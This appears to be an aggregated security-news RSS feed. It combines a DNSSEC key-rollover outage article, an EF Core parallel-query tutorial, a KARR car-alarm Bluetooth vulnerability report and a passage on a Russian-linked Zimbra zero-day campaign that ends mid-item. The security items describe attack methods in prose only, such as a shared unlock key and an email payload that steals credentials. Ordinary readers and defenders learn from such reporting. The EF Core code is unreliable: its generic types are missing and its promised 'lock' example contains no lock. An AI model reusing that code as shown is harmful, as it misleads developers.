<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[2.2 Million Vehicles Exposed to KARR Bluetooth Security Flaw]]></title>
<description><![CDATA[Millions of drivers with a dealer-installed KARR Security System are being urged to update their KARR alarm using an iPhone or Android device after researchers uncovered a Bluetooth vulnerability that could allow nearby attackers to unlock or immobilize affected vehicles.  

The flaw impacts mo...]]></description>
<link>https://tsecurity.de/de/3690937/it-security-nachrichten/22-million-vehicles-exposed-to-karr-bluetooth-security-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690937/it-security-nachrichten/22-million-vehicles-exposed-to-karr-bluetooth-security-flaw/</guid>
<pubDate>Fri, 24 Jul 2026 09:54:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="826" height="496" src="https://thecyberexpress.com/wp-content/uploads/KARR-Security-System.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="KARR Security System" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/KARR-Security-System.webp 826w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-300x180.webp 300w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-768x461.webp 768w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-600x360.webp 600w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-150x90.webp 150w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-750x450.webp 750w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System.webp 826w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-300x180.webp 300w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-768x461.webp 768w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-600x360.webp 600w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-150x90.webp 150w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-750x450.webp 750w" sizes="(max-width: 826px) 100vw, 826px" title="2.2 Million Vehicles Exposed to KARR Bluetooth Security Flaw 1"></p><span data-contrast="auto">Millions of drivers with a dealer-installed KARR Security System are being urged to update their KARR alarm using an iPhone or Android device after researchers uncovered a Bluetooth vulnerability that could allow nearby attackers to unlock or immobilize affected vehicles. </span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The flaw impacts more than 2.2 million vehicles equipped with the aftermarket security system, but it does not affect factory-installed vehicle software, Apple CarPlay or Apple's iPhone platform.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">KARR Security System Vulnerability Affects Dealer-installed Hardware</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The KARR <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29119">Security</a> System is installed by dealerships to secure vehicles on their lots. In many cases, the hardware remains connected even after buyers decline the paid KARR alarm service. Because it is third-party equipment, automakers cannot deliver fixes through their standard software update process.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Researchers from the <a href="https://appleinsider.com/articles/26/07/22/if-youve-got-this-dealer-installed-car-alarm-patch-it-today-with-your-iphone" target="_blank" rel="nofollow noopener">University of California</a>, San Diego found that attackers within Bluetooth range could lock or unlock vehicles, disable alarms, activate horns, flash lights, or prevent parked vehicles from starting. However, they confirmed the flaw cannot remotely start a vehicle or control it while driving.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">iPhone App Update Fixes KARR Alarm Flaw</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Acrisure Protection Group, which sells the KARR Security System, released a firmware update on July 20 after researchers privately disclosed the issue in January 2025. Owners using the KARR Security app on an <a href="https://thecyberexpress.com/iphone-bootrom-vulnerability/" target="_blank" rel="noopener">iPhone</a> should receive an update notification. Others must download the app, connect it to the KARR alarm, then navigate to "Customer Service" and "Firmware Update."</span>

<span data-contrast="auto">The patch was released before presentations scheduled for DEF CON on August 9 in Las Vegas and the USENIX Security Symposium on August 12 in Baltimore.</span>
<h3 aria-level="2"><b><span data-contrast="none">Hidden KARR Security System Complicates Updates</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Researchers estimate at least half of affected owners never requested the KARR Security System. Dealerships often left deactivated hardware installed, yet researchers found these units continued broadcasting <a href="https://thecyberexpress.com/apple-airpods-firmware-update/" target="_blank" rel="noopener">Bluetooth</a> signals while vehicles were running and for up to 10 minutes after being switched off.</span>

<span data-contrast="auto">Owners can identify the system by checking for a KARR or "SWDS" sticker on the driver's window or a blinking button beneath the dashboard. Most affected vehicles were purchased from Honda, Toyota, Mazda, Ford and Jeep dealerships in Southern California between 2017 and July 21, although impacted vehicles were also identified elsewhere.</span>
<h3 aria-level="2"><b><span data-contrast="none">Shared Bluetooth Key Exposes KARR Alarm Devices</span></b></h3>
<span data-contrast="auto">Researchers discovered a universal authentication key embedded in the official smartphone app while reverse engineering Bluetooth communications. Using a proof-of-concept Android app, they unlocked vehicles, disabled KARR alarm functions, and triggered horns and lights.</span>

<span data-contrast="auto">Although the flaw alone cannot steal a vehicle, researchers said it could provide quiet access before a commercially available locksmith tool creates a working key. Acrisure described the attack as "highly complex" and said the real-world <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29118">risk</a> is low. Neither UC San Diego nor Wired found evidence of <a href="https://thecyberexpress.com/nation-state-hackers-weaponize-winrar-flaw/" target="_blank" rel="noopener">criminals</a> exploiting the vulnerability.</span>
<h3 aria-level="2"><b><span data-contrast="none">Privacy Concerns and Recommended Action</span></b></h3>
<span data-contrast="auto">Researchers also warned that Bluetooth signals from the KARR Security System could reveal vehicle locations. Using the WiGLE wireless database, they estimated at least 2.2 million Bluetooth-enabled systems had been deployed and detected 97 KARR-equipped vehicles during a 20-minute drive near the UC San Diego campus.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Drivers should confirm whether their vehicle contains a KARR Security System, install the latest firmware using the iPhone or Android app, and contact their dealership or KARR support if they cannot complete the update.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
